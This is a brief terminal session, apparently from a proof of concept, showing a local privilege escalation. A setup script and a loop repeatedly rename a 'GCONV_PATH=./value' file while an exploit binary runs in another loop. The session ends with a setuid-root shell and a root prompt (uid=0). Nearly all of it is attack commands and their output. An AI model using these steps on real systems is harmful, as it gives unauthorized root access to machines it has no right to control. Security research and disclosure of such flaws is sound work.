$ id
uid=1001(ayrx) gid=1002(ayrx) groups=1002(ayrx),27(sudo)
$ ./setup.sh

while :; do mv "GCONV_PATH=./value" "GCONV_PATH=./value.bak"; mv "GCONV_PATH=./value.bak" "GCONV_PATH=./value"; done

while :; do ./exploit; done

$ ls -lah shell
-rwsrwxrwx 1 root ayrx 16K Jan 26 08:57 shell
$ ./shell
# id
uid=0(root) gid=1002(ayrx) groups=1002(ayrx),27(sudo)